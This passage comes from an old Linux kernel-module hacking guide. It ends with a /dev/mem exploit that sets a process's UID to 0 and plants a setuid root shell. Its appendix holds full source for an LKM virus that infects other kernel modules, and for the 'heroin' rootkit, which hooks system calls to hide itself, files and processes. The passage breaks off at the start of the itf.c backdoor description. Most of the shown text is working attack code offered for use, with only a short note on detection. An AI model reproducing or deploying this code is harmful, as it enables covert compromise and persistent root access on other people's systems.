4418 <li>write an exploit which starts a program using the open /dev/mem write handle
4419 to manipulate the appropriate task structure to make your process UID 0
4420 <li>create a root shell
4422 This generic scheme works very fine (zgv, gnuplot or some know examples). For
4423 patching the task structure some people use the following program (which uses
4424 the open write handle) by Nergal :
4430 #include <linux/sched.h>
4433 #define SIZEOF sizeof(struct task_struct)
4439 testtask (unsigned int mem_offset)
4441 struct task_struct some_task;
4443 lseek (mem_fd, mem_offset, SEEK_SET);
4444 read (mem_fd, &some_task, SIZEOF);
4445 if (some_task.pid == mypid) /* is it our task_struct ? */
4448 some_task.fsuid = 0; /* needed for chown */
4449 lseek (mem_fd, mem_offset, SEEK_SET);
4450 write (mem_fd, &some_task, SIZEOF);
4451 /* from now on, there is no law beyond do what thou wilt */
4452 chown ("/tmp/sh", 0, 0);
4453 chmod ("/tmp/sh", 04755);
4457 #define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */
4458 main () /* by doing strings /proc/ksyms |grep kstat */
4461 struct task_struct *task[NR_TASKS];
4462 unsigned int task_addr = KSTAT - NR_TASKS * 4;
4463 mem_fd = 3; /* presumed to be opened /dev/mem */
4465 lseek (mem_fd, task_addr, SEEK_SET);
4466 read (mem_fd, task, NR_TASKS * 4);
4467 for (i = 0; i < NR_TASKS; i++)
4469 testtask ((unsigned int)(task[i]));
4473 This was just an example to show you that there is always one way, you only have
4474 to find it. Systems with stack execution patches, you could look for heap
4475 overflows or just jump into some library functions (system(...)). There are thousand
4477 I hope this last section gave you some ideas how to proceed.
4481 <H2>V. The near future : Kernel 2.2.x</H2>
4485 <H3><A NAME="V.1."></A>1. Main Difference for LKM writer's</h3>
4487 Linux has a new Kernel major Version 2.2 which brings some little changes to LKM
4488 coding. This part will help you to make the change, and outline the biggest
4489 changes. [Note : There will be another release concentrating on the new kernel]<br>
4490 I will show you some new macros / functions which will help you to develope
4491 LKMs for Kernel 2.2. For an exact listing of every change take a look at the
4492 new Linux/module.h include file, which was totally rewritten for Kernel 2.1.18.
4493 First we will look at some macros which will help us to handle the System Table
4497 <TABLE border=5 width=100%>
4501 <th>description</th>
4504 <td>EXPORT_NO_SYMBOLS;</td>
4505 <td>this one is equal to register_symtab(NULL) for older kernel versions</td>
4509 <td>EXPORT_SYMTAB;</td>
4510 <td>this one must be defined before linux/module.h if you want to export some symbols</td>
4514 <td>EXPORT_SYMBOL(name);</td>
4515 <td>export the symbol named 'name'</td>
4519 <td>EXPORT_SYMBOL_NOVERS
4521 <td>export without version information</td>
4525 The user space access functions were also changed a bit, so I will list them
4526 here (just include asm/uaccess.h to use them) :
4529 <TABLE border=5 width=100%>
4533 <th>description</th>
4538 (int type, unsigned long
4539 addr, unsigned long size);</td>
4540 <td>this function checks whether the current process is allowed to access addr</td>
4548 unsigned long len);</td>
4549 <td>this is the 'new' memcpy_tofs function</td>
4557 unsigned long len);</td>
4558 <td>this is the counterpart of copy_from_user(...)</td>
4562 You don't need to use access_ok(...) because the function listed above check
4564 There are many more differences, but you should really take a look at linux/module.h
4565 for a detailed listing.<br>
4566 I want to mention one last thing. I wrote lots of stuff on the kerneldaemon
4567 (kerneld). Kernel 2.2 will not use kerneld any more. It uses another way of
4568 implementing the request_module(...) kernel space function - it's called <i>kmod</i>.
4569 kmod totally runs in kernel space (no IPC to user space any more). For LKM
4570 programmers nothing changes, you can still use the request_module(...) for
4571 loading modules. So the LKM infectors could use this also on kernel 2.2 systems.<br>
4572 I'm sorry about this little kernel 2.2 section, but at the moment I am working
4573 on a general paper on kernel 2.2 security (especially the lkm behaviour). So watch
4574 out for new THC releases. I even plan to work on some BSD systems (FreeBSD, OpenBSD,
4575 for example) but this will take some months.
4580 <H2>VI. Last Words</h2>
4584 <H3><A NAME="VI.1."></A>1. The 'LKM story' or 'how to make a system plug & hack compatible'</h3>
4586 You may wounder how insecure LKMs are and why they are used in such an insecure
4587 ways. Well LKMs are designed to make life easier especially for users.Linux fights
4588 agains Microsoft, so developers need a way to make the old unix style a bit more
4589 attractive and easier. They implement things like KDE and other nice things.
4590 Kerneld, for example, was developed in order to make module handling easier.
4591 But remember, the easier and more automated a system is the more problems
4592 concerning security are possible. It is <i>impossible</i> to make a system usable by
4593 everyone and being secure enough. Modules are a great example for this.<br>
4594 Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good
4595 idea, with a cruel securiy design for keeping everything simple.<br>
4596 So dear Linux developers : Be careful, and don't make the fault Microsoft made,
4597 don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !<br>
4598 This text should also make clear that the kernel of any system must be protected
4599 in the best way available.It must be impossible for attackers to modify the most
4600 important item of your whole system. I leave this task to all system designers
4603 <H3><A NAME="VI.2."></A>2. Links to other Resources</h3>
4605 Here are some interesting links about LKMs (not only hack & securiy related):<br>
4607 <b>[Internet]</b><br>
4609 <A HREF="http://www.linuxhq.com">http://www.linuxhq.com</A><br>
4610 everything on Linux + nice kernel links<br>
4611 <A HREF="http://www.linuxlinks.com">http://www.linuxlinks.com</a><br>
4612 lots of links concerning Linux<br>
4613 <A HREF="http://www.linux.org">http://www.linux.org</a><br>
4614 'propaganda' page for Linux<br>
4615 <A HREF="http://www.lwn.net">http://www.lwn.net</a><br>
4616 weekly Linux news; very interesting there are also kernel / securiy sections<br>
4617 <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
4618 read issue 50 & 52 for interesting module information<br>
4619 <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
4620 they have some nice LKMs<br>
4621 <A HREF="http://www.geek-girl.com/bugtraq/">http://www.geek-girl.com/bugtraq/</a><br>
4622 there were some discussions on LKM security<br>
4623 <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
4624 HISPAHACK homepage<br>
4625 <A HREF="http://www.thc.org">http://www.thc.org</a><br>
4626 THC homepage (articles, magazines and lots of tools)<br>
4627 <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
4628 one of the best security / hacking related search engines I know<br>
4629 <A HREF="http://www.kernel.org">http://www.kernel.org</a><br>
4630 get the kernel and study it !<br>
4634 Linux-Kernel-Programming (Addison Wesley) <br>
4635 A very good book. I read the german version but I think there is also an english
4638 Linux Device Drivers (O'Reilly)<br>
4639 A bit off topic, but also very interesting. The focus is more on writing LKMs
4642 <H3><A NAME="Acknowledgements"></A>Acknowledgements</h3>
4645 <u><b>Thanks for sources / ideas fly to :</u></b>
4647 plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1,
4648 Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare,
4649 daemon9, Nergal, van Hauser (especially for showing me some bugs) and those
4650 nameless individuals providing us with their ideas (there are so many) !
4653 <H3><A NAME="Greets"></A>Greets </h3>
4655 <u>groups</u> : THC, deep, ech0, ADM, =phake=<br>
4658 <dd>van Hauser - thanks for giving me the chance to learn </dd>
4659 <dd>mindmaniac - thanks for introducing 'the first contact'</dd>
4664 background music groups (helping me to concentrate on writing :):<br>
4665 <i>Neuroactive, Image Transmission, Panic on the Titanic, Dracul</i>
4668 <HR SIZE="3" NOSHADE="NOSHADE">
4670 <HR SIZE="3" NOSHADE="NOSHADE">
4676 <H2>A - Appendix</h2>
4681 Here you will find some sources.If the author of the LKM also published some
4682 notes / texts which are interesting, they will also be printed.<br>
4684 <H3><A NAME="A-a"></A>LKM Infector</h3>
4686 <b>NAME</b> : moduleinfect.c<br>
4687 <b>AUTHOR</b> : <A HREF="mailto:stealth@cyberspace.org">Stealthf0rk/SVAT <stealth@cyberspace.org></a><br>
4688 <b>DESCRIPTION</b> : This is the first published LKM infector which was discussed
4689 II.8. This LKM has no destruction routine, it's just an
4690 infector, so experimenting should be quite harmless.<br>
4691 <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
4694 /* SVAT - Special Virii And Trojans - present:
4696 * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
4698 * 0kay guys, here we go...
4699 * As i told you with VLP I (we try to write an fast-infector)
4700 * here's the result:
4701 * a full, non-overwriting module infector that catches
4702 * lkm's due to create_module() and infects them (max. 7)
4703 * if someone calls delete_module() [even on autoclean].
4704 * Linux is not longer a virii-secure system :(
4705 * and BSD follows next week ...
4706 * Since it is not needed 2 get root (by the module) you should pay
4707 * attention on liane.
4708 * Note the asm code in function init_module().
4709 * U should assemble your /usr/src/.../module.c with -S and your CFLAG
4710 * from your Makefile and look for the returnvalue from the first call
4711 * of find_module() in sys_init_module(). look where its stored (%ebp for me)
4712 * and change it in __asm__ init_module()! (but may it is not needed)
4714 * For education only!
4715 * Run it only with permisson of the owner of the system you are logged on!!!
4717 * !!! YOU USE THIS AT YOUR OWN RISK !!!
4719 * I'm not responsible for any damage you may get due to playing around with this.
4721 * okay guys, you have to find out some steps without my help:
4723 * 1. $ cc -c -O2 module.c
4724 * 2. get length of module.o and patch the #define MODLEN in module.c
4726 * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
4727 * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
4728 * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
4731 * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
4732 * kernel 2.0.33. It works.
4734 * greets (in no order...)
4735 * <><><><><><><><><><><><>
4737 * NetW0rker - tkx for da sources
4738 * Serialkiller - gib mir mal deine eMail-addy
4739 * hyperSlash - 1st SVAT member, he ?
4741 * MadMan - NetW0rker wanted me to greet u !?
4742 * KilJaeden - TurboDebugger and SoftIce are a good choice !
4746 * Stealthf0rk/SVAT <stealth@cyberspace.org>
4753 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
4754 #define END_KMEM set_fs(old_fs);}
4757 /* i'm not sure we need all of 'em ...*/
4759 #include <linux/version.h>
4760 #include <linux/mm.h>
4761 #include <linux/unistd.h>
4762 #include <linux/fs.h>
4763 #include <linux/types.h>
4764 #include <asm/errno.h>
4765 #include <asm/string.h>
4766 #include <linux/fcntl.h>
4767 #include <sys/syscall.h>
4768 #include <linux/module.h>
4769 #include <linux/malloc.h>
4770 #include <linux/kernel.h>
4771 #include <linux/kerneld.h>
4773 #define __NR_our_syscall 211
4777 #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
4779 #define DPRINTK(format, args...)
4782 /* where the sys_calls are */
4784 extern void *sys_call_table[];
4786 /* tested only with kernel 2.0.33, but thiz should run under 2.x.x
4787 * if you change the default_path[] values
4790 static char *default_path[] = {
4791 ".", "/linux/modules",
4792 "/lib/modules/2.0.33/fs",
4793 "/lib/modules/2.0.33/net",
4794 "/lib/modules/2.0.33/scsi",
4795 "/lib/modules/2.0.33/block",
4796 "/lib/modules/2.0.33/cdrom",
4797 "/lib/modules/2.0.33/ipv4",
4798 "/lib/modules/2.0.33/misc",
4799 "/lib/modules/default/fs",
4800 "/lib/modules/default/net",
4801 "/lib/modules/default/scsi",
4802 "/lib/modules/default/block",
4803 "/lib/modules/default/cdrom",
4804 "/lib/modules/default/ipv4",
4805 "/lib/modules/default/misc",
4808 "/lib/modules/scsi",
4809 "/lib/modules/block",
4810 "/lib/modules/cdrom",
4811 "/lib/modules/ipv4",
4812 "/lib/modules/misc",
4816 static struct symbol_table my_symtab = {
4817 #include <linux/symtab_begin.h>
4824 X(register_symtab_from),
4825 #include <linux/symtab_end.h>
4828 char files2infect[7][60 + 2];
4830 /* const char kernel_version[] = UTS_RELEASE; */
4832 int (*old_create_module)(char*, int);
4833 int (*old_delete_module)(char *);
4834 int (*open)(char *, int, int);
4836 int (*unlink)(char*);
4838 int our_syscall(int);
4839 int infectfile(char *);
4840 int is_infected(char *);
4841 int cp(struct file*, struct file*);
4842 int writeVir(char *, char *);
4843 int init_module2(struct module*);
4844 char *get_mod_name(char*);
4846 /* needed to be global */
4848 void *VirCode = NULL;
4850 /* install new syscall to see if we are already in kmem */
4851 int our_syscall(int mn)
4853 /* magic number: 40hex :-) */
4860 int new_create_module(char *name, int size)
4862 int i = 0, j = 0, retval = 0;
4864 if ((retval = old_create_module(name, size)) < 0)
4866 /* find next free place */
4867 for (i = 0; files2infect[i][0] && i < 7; i++);
4870 /* get name of mod from user-space */
4871 while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
4873 DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
4877 /* we infect modules after sys_delete_module, to be sure
4878 * we don't confuse the kernel
4881 int new_delete_module(char *modname)
4883 static int infected = 0;
4884 int retval = 0, i = 0;
4885 char *s = NULL, *name = NULL;
4888 retval = old_delete_module(modname);
4890 if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
4893 for (i = 0; files2infect[i][0] && i < 7; i++) {
4894 strcat(files2infect[i], ".o");
4895 if ((s = get_mod_name(files2infect[i])) == NULL) {
4898 name = strcpy(name, s);
4899 if (!is_infected(name)) {
4900 DPRINTK("try 2 infect %s as #%d\n", name, i);
4904 memset(files2infect[i], 0, 60 + 2);
4907 if (infected >= ENOUGH)
4914 /* lets take a look at sys_init_module(), that calls
4915 * our init_module() compiled with
4916 * CFLAG = ... -O2 -fomit-frame-pointer
4919 * if((mp = find_module(name)) == NULL)
4927 * note that there is no normal stack frame !!!
4928 * thats the reason, why we find 'mp' (return from find_module) in %ebp
4929 * BUT only when compiled with the fomit-frame-pointer option !!!
4930 * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
4931 * you should find mp at -4(%ebp) .
4932 * thiz is very bad hijacking of local vars and an own topic.
4933 * I hope you do not get an seg. fault.
4941 .type init_module,@function
4944 pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
4945 /* and the parameter for init_module2() */
4948 xorl %eax, %eax /* all good */
4949 ret /* and return */
4951 .size init_module,.hype27-init_module
4954 /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
4966 /*----------------------------------------------*/
4968 int init_module2(struct module *mp)
4970 char *s = NULL, *mod = NULL, *modname = NULL;
4973 mod = vmalloc(60 + 2);
4974 modname = vmalloc(MAXPATH + 60 + 2);
4975 if (!mod || !modname)
4977 strcpy(mod, mp->name);
4982 DPRINTK("in init_module2: mod = %s\n", mod);
4984 /* take also a look at phrack#52 ...*/
4989 /* thiz is our new main ,look for copys in kmem ! */
4990 if (sys_call_table[__NR_our_syscall] == 0) {
4991 old_delete_module = sys_call_table[__NR_delete_module];
4992 old_create_module = sys_call_table[__NR_create_module];
4993 sys_call_table[__NR_our_syscall] = (void*)our_syscall;
4994 sys_call_table[__NR_delete_module] = (void*)new_delete_module;
4995 sys_call_table[__NR_create_module] = (void*)new_create_module;
4996 memset(files2infect, 0, (60 + 2)*7);
4997 register_symtab(&my_symtab);
4999 open = sys_call_table[__NR_open];
5000 close = sys_call_table[__NR_close];
5001 unlink = sys_call_table[__NR_unlink];
5003 if ((s = get_mod_name(mod)) == NULL)
5005 modname = strcpy(modname, s);
5006 load_real_mod(modname, mod);
5012 int cleanup_module()
5014 sys_call_table[__NR_delete_module] = old_delete_module;
5015 sys_call_table[__NR_create_module] = old_create_module;
5016 sys_call_table[__NR_our_syscall] = NULL;
5017 DPRINTK("in cleanup_module\n");
5022 /* returns 1 if infected;
5023 * seek at position MODLEN + 1 and read out 3 bytes,
5024 * if it is "ELF" it seems the file is already infected
5027 int is_infected(char *filename)
5033 DPRINTK("in is_infected: filename = %s\n", filename);
5035 fd = open(filename, O_RDONLY, 0);
5039 if ((file = current->files->fd[fd]) == NULL)
5041 file->f_pos = MODLEN + 1;
5042 DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
5044 file->f_op->read(file->f_inode, file, det, 3);
5047 DPRINTK("in is_infected: det = %s\n", det);
5048 if (strcmp(det, "ELF") == 0)
5054 /* copy the host-module to tmp, write VirCode to
5055 * hostmodule, and append tmp.
5060 int infectfile(char *filename)
5062 char *tmp = "/tmp/t000";
5063 int in = 0, out = 0;
5064 struct file *file1, *file2;
5067 in = open(filename, O_RDONLY, 0640);
5068 out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
5070 DPRINTK("in infectfile: in = %d out = %d\n", in, out);
5071 if (in <= 0 || out <= 0)
5073 file1 = current->files->fd[in];
5074 file2 = current->files->fd[out];
5075 if (!file1 || !file2)
5082 /* write Vircode [from mem] */
5083 DPRINTK("in infetcfile: filenanme = %s\n", filename);
5084 file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
5085 /* append hostcode */
5094 int disinfect(char *filename)
5097 char *tmp = "/tmp/t000";
5098 int in = 0, out = 0;
5099 struct file *file1, *file2;
5102 in = open(filename, O_RDONLY, 0640);
5103 out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
5105 DPRINTK("in disinfect: in = %d out = %d\n",in, out);
5106 if (in <= 0 || out <= 0)
5108 file1 = current->files->fd[in];
5109 file2 = current->files->fd[out];
5110 if (!file1 || !file2)
5116 DPRINTK("in disinfect: filename = %s\n", filename);
5118 in = open(filename, O_RDWR|O_CREAT, 0640);
5122 file1 = current->files->fd[in];
5125 file2->f_pos = MODLEN;
5135 /* a simple copy routine, that expects the file struct pointer
5136 * of the files to be copied.
5137 * So its possible to append files due to copieng.
5140 int cp(struct file *file1, struct file *file2)
5143 int in = 0, out = 0, r = 0;
5146 if ((buf = (char*)vmalloc(10000)) == NULL)
5149 DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
5151 while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
5152 file2->f_op->write(file2->f_inode, file2, buf, r);
5153 file2->f_inode->i_mode = file1->f_inode->i_mode;
5154 file2->f_inode->i_atime = file1->f_inode->i_atime;
5155 file2->f_inode->i_mtime = file1->f_inode->i_mtime;
5156 file2->f_inode->i_ctime = file1->f_inode->i_ctime;
5162 /* Is that simple: we disinfect the module [hide 'n seek]
5163 * and send a request to kerneld to load
5164 * the orig mod. N0 fuckin' parsing for symbols and headers
5167 int load_real_mod(char *path_name, char *name)
5170 struct file *file1, *file2;
5171 int in = 0, out = 0;
5173 DPRINTK("in load_real_mod name = %s\n", path_name);
5176 VirCode = vmalloc(MODLEN);
5180 in = open(path_name, O_RDONLY, 0640);
5184 file1 = current->files->fd[in];
5187 /* read Vircode [into mem] */
5189 file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
5192 disinfect(path_name);
5193 r = request_module(name);
5194 DPRINTK("in load_real_mod: request_module = %d\n", r);
5198 char *get_mod_name(char *mod)
5201 static char* modname = NULL;
5204 modname = vmalloc(MAXPATH + 60 + 2);
5208 for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
5209 memset(modname, 0, MAXPATH + 60 + 2);
5210 modname = strcpy(modname, default_path[i]);
5211 modname = strcat(modname, "/");
5212 modname = strcat(modname, mod);
5213 if ((fd = open(modname, O_RDONLY, 0640)) > 0)
5218 if (!default_path[i])
5225 <H3><A NAME="A-b"></A>Herion - the classic one</h3>
5228 <b>NAME</b> : Heroin<br>
5229 <b>AUTHOR</b> : <A HREF="mailto:zarq@opaque.org">Runar Jensen</a><br>
5230 <b>DESCRIPTION</b> : Runar Jensen introduced some nice ideas in his text, which
5231 were the first steps towards our modern Hide LKM by plaguez.
5232 The way Runar Jensen hides the module requires more coder work
5233 than the plaguez (Solar Designer and other people) approach,
5234 but it works. The way Runar Jensen hides processes is also a
5235 bit too complicated (well this text is quite old, and it was
5236 one of the first talking about LKM hacking), He uses a special
5237 signal code (31) in order to set a flag in a process structure
5238 which indicates that this process is going to be hidden, in
5239 the way we discussed in part II. <br>
5240 The rest should be clear. <br>
5241 <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
5244 As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
5245 to patch any systemcall under Linux from within a module. This means that
5246 once your system has been compromised at the root level, it is possible for
5247 an intruder to hide completely _without_ modifying any binaries or leaving
5248 any visible backdoors behind. Because such tools are likely to be in use
5249 within the hacker community already, I decided to publish a piece of code to
5250 demonstrate the potentials of a malicious module.
5252 The following piece of code is a fully working Linux module for 2.1 kernels
5253 that patches the getdents(), kill(), read() and query_module() calls. Once
5254 loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
5255 modifying the output of every query_module() call and every read() call
5256 accessing /proc/modules. Apparently rmmod also calls query_module() to list
5257 all modules before attempting to remove the specified module, and will
5258 therefore claim that the module does not exist even if you know its name. The
5259 output of any getdents() call is modified to hide any files or directories
5260 starting with a given string, leaving them accessible only if you know their
5261 exact names. It also hides any directories in /proc matching pids that have a
5262 specified flag set in its internal task structure, allowing a user with root
5263 access to hide any process (and its children, since the task structure is
5264 duplicated when the process does a fork()). To set this flag, simply send the
5265 process a signal 31 which is caught and handled by the patched kill() call.
5267 To demonstrate the effects...
5269 [root@image:~/test]# ls -l
5271 -rw------- 1 root root 2832 Oct 8 16:52 heroin.o
5272 [root@image:~/test]# insmod heroin.o
5273 [root@image:~/test]# lsmod | grep heroin
5274 [root@image:~/test]# grep heroin /proc/modules
5275 [root@image:~/test]# rmmod heroin
5276 rmmod: module heroin not loaded
5277 [root@image:~/test]# ls -l
5279 [root@image:~/test]# echo "I'm invisible" > heroin_test
5280 [root@image:~/test]# ls -l
5282 [root@image:~/test]# cat heroin_test
5284 [root@image:~/test]# ps -aux | grep gpm
5285 root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
5286 [root@image:~/test]# kill -31 223
5287 [root@image:~/test]# ps -aux | grep gpm
5288 [root@image:~/test]# ps -aux 223
5289 USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
5290 root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
5291 [root@image:~/test]# ls -l /proc | grep 223
5292 [root@image:~/test]# ls -l /proc/223
5294 -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
5295 lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
5296 -r-------- 1 root root 0 Oct 8 16:54 environ
5297 lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
5298 dr-x------ 1 root root 0 Oct 8 16:54 fd
5299 pr--r--r-- 1 root root 0 Oct 8 16:54 maps
5300 -rw------- 1 root root 0 Oct 8 16:54 mem
5301 lrwx------ 1 root root 0 Oct 8 16:54 root -> /
5302 -r--r--r-- 1 root root 0 Oct 8 16:53 stat
5303 -r--r--r-- 1 root root 0 Oct 8 16:54 statm
5304 -r--r--r-- 1 root root 0 Oct 8 16:54 status
5305 [root@image:~/test]#
5307 The implications should be obvious. Once a compromise has taken place,
5308 nothing can be trusted, the operating system included. A module such as this
5309 could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
5310 after every reboot, or put in place of a commonly used module and in turn
5311 have it load the required module for an added level of protection. (Thanks
5312 Sean :) Combined with a reasonably obscure remote backdoor it could remain
5313 undetected for long periods of time unless the system administrator knows
5314 what to look for. It could even hide the packets going to and from this
5315 backdoor from the kernel itself to prevent a local packet sniffer from seeing
5318 So how can it be detected? In this case, since the number of processes is
5319 limited, one could try to open every possible process directory in /proc and
5320 look for the ones that do not show up otherwise. Using readdir() instead of
5321 getdents() will not work, since it appears to be just a wrapper for
5322 getdents(). In short, trying to locate something like this without knowing
5323 exactly what to look for is rather futile if done in userspace...
5325 Be afraid. Be very afraid. ;)
5334 * Runar Jensen <zarq@opaque.org>
5336 * This Linux kernel module patches the getdents(), kill(), read()
5337 * and query_module() system calls to demonstrate the potential
5338 * dangers of the way modules have full access to the entire kernel.
5340 * Once loaded, the module becomes invisible and can not be removed
5341 * with rmmod. Any files or directories starting with the string
5342 * defined by MAGIC_PREFIX appear to disappear, and sending a signal
5343 * 31 to any process as root effectively hides it and all its future
5346 * This code should compile cleanly and work with most (if not all)
5347 * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
5348 * It will not compile as is under 2.0.30, since 2.0.30 lacks the
5349 * query_module() function.
5352 * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
5355 #include <linux/fs.h>
5356 #include <linux/module.h>
5357 #include <linux/modversions.h>
5358 #include <linux/malloc.h>
5359 #include <linux/unistd.h>
5360 #include <sys/syscall.h>
5362 #include <linux/dirent.h>
5363 #include <linux/proc_fs.h>
5366 #define MAGIC_PREFIX "heroin"
5368 #define PF_INVISIBLE 0x10000000
5369 #define SIGINVISI 31
5373 static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
5374 static inline _syscall2(int, kill, pid_t, pid, int, sig);
5375 static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
5376 static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
5378 extern void *sys_call_table[];
5380 int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
5381 int (*original_kill)(pid_t, int);
5382 int (*original_read)(int, void *, size_t);
5383 int (*original_query_module)(const char *, int, void *, size_t, size_t *);
5385 int myatoi(char *str)
5391 for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
5392 if(*ptr < '0' || *ptr > '9')
5394 res += (*ptr - '0') * mul;
5400 void mybcopy(char *src, char *dst, unsigned int num)
5403 *(dst++) = *(src++);
5406 int mystrcmp(char *str1, char *str2)
5408 while(*str1 && *str2)
5409 if(*(str1++) != *(str2++))
5414 struct task_struct *find_task(pid_t pid)
5416 struct task_struct *task = current;
5419 if(task->pid == pid)
5422 task = task->next_task;
5424 } while(task != current);
5429 int is_invisible(pid_t pid)
5431 struct task_struct *task;
5433 if((task = find_task(pid)) == NULL)
5436 if(task->flags & PF_INVISIBLE)
5442 int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
5446 struct inode *dinode;
5447 char *ptr = (char *)dirp;
5448 struct dirent *curr;
5449 struct dirent *prev = NULL;
5451 res = (*original_getdents)(fd, dirp, count);
5459 #ifdef __LINUX_DCACHE_H
5460 dinode = current->files->fd[fd]->f_dentry->d_inode;
5462 dinode = current->files->fd[fd]->f_inode;
5465 if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
5468 while(ptr < (char *)dirp + res) {
5469 curr = (struct dirent *)ptr;
5471 if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
5472 (proc && is_invisible(myatoi(curr->d_name)))) {
5475 res -= curr->d_reclen;
5476 mybcopy(ptr + curr->d_reclen, ptr, res);
5480 prev->d_reclen += curr->d_reclen;
5485 ptr += curr->d_reclen;
5491 int hacked_kill(pid_t pid, int sig)
5494 struct task_struct *task = current;
5496 if(sig != SIGINVISI) {
5497 res = (*original_kill)(pid, sig);
5505 if((task = find_task(pid)) == NULL)
5508 if(current->uid && current->euid)
5511 task->flags |= PF_INVISIBLE;
5516 int hacked_read(int fd, char *buf, size_t count)
5520 struct inode *dinode;
5522 res = (*original_read)(fd, buf, count);
5527 #ifdef __LINUX_DCACHE_H
5528 dinode = current->files->fd[fd]->f_dentry->d_inode;
5530 dinode = current->files->fd[fd]->f_inode;
5533 if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
5538 while(ptr < buf + res) {
5539 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
5541 while(*ptr && *ptr != '\n')
5544 mybcopy(ptr, match, (buf + res) - ptr);
5545 res = res - (ptr - match);
5548 while(*ptr && *ptr != '\n')
5556 int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
5562 res = (*original_query_module)(name, which, buf, bufsize, ret);
5567 if(which != QM_MODULES)
5572 for(cnt = 0; cnt < *ret; cnt++) {
5573 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
5578 mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
5590 int init_module(void)
5592 original_getdents = sys_call_table[SYS_getdents];
5593 sys_call_table[SYS_getdents] = hacked_getdents;
5595 original_kill = sys_call_table[SYS_kill];
5596 sys_call_table[SYS_kill] = hacked_kill;
5598 original_read = sys_call_table[SYS_read];
5599 sys_call_table[SYS_read] = hacked_read;
5601 original_query_module = sys_call_table[SYS_query_module];
5602 sys_call_table[SYS_query_module] = hacked_query_module;
5607 void cleanup_module(void)
5609 sys_call_table[SYS_getdents] = original_getdents;
5610 sys_call_table[SYS_kill] = original_kill;
5611 sys_call_table[SYS_read] = original_read;
5612 sys_call_table[SYS_query_module] = original_query_module;
5618 Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com
5619 Network Administrator | or (800) 264-7440 | or zarq@opaque.org
5620 Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com
5621 FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
5626 <H3><A NAME="A-c"></A>LKM Hider / Socket Backdoor</h3>
5628 <b>NAME</b> : itf.c<br>
5629 <b>AUTHOR</b> : <A HREF="mailto:dube0866@eurobretagne.fr">plaguez</a><br>
5630 <b>DESCRIPTION</b> : This very good LKM was published in phrack 52 (article 18 :
5631 'Weakening the Linux Kernel'). I often refered to it although
5632 some ideas in it were also taken from other LKMs / texts which
5633 were published before. This module has everything you need to
5634 backdoor a system in a very effective way. Look at the text
5635 supplied with it for all of its features.<br>
5636 <b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
5639 Here is itf.c. The goal of this program is to demonstrate kernel backdooring
5640 techniques using systemcall redirection. Once installed, it is very hard to
5643 Its features include:
5645 - stealth functions: once insmod'ed, itf will modify struct module *mp and
5646 get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
5647 Also, the module cannot be unloaded.
5649 - sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
5650 hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
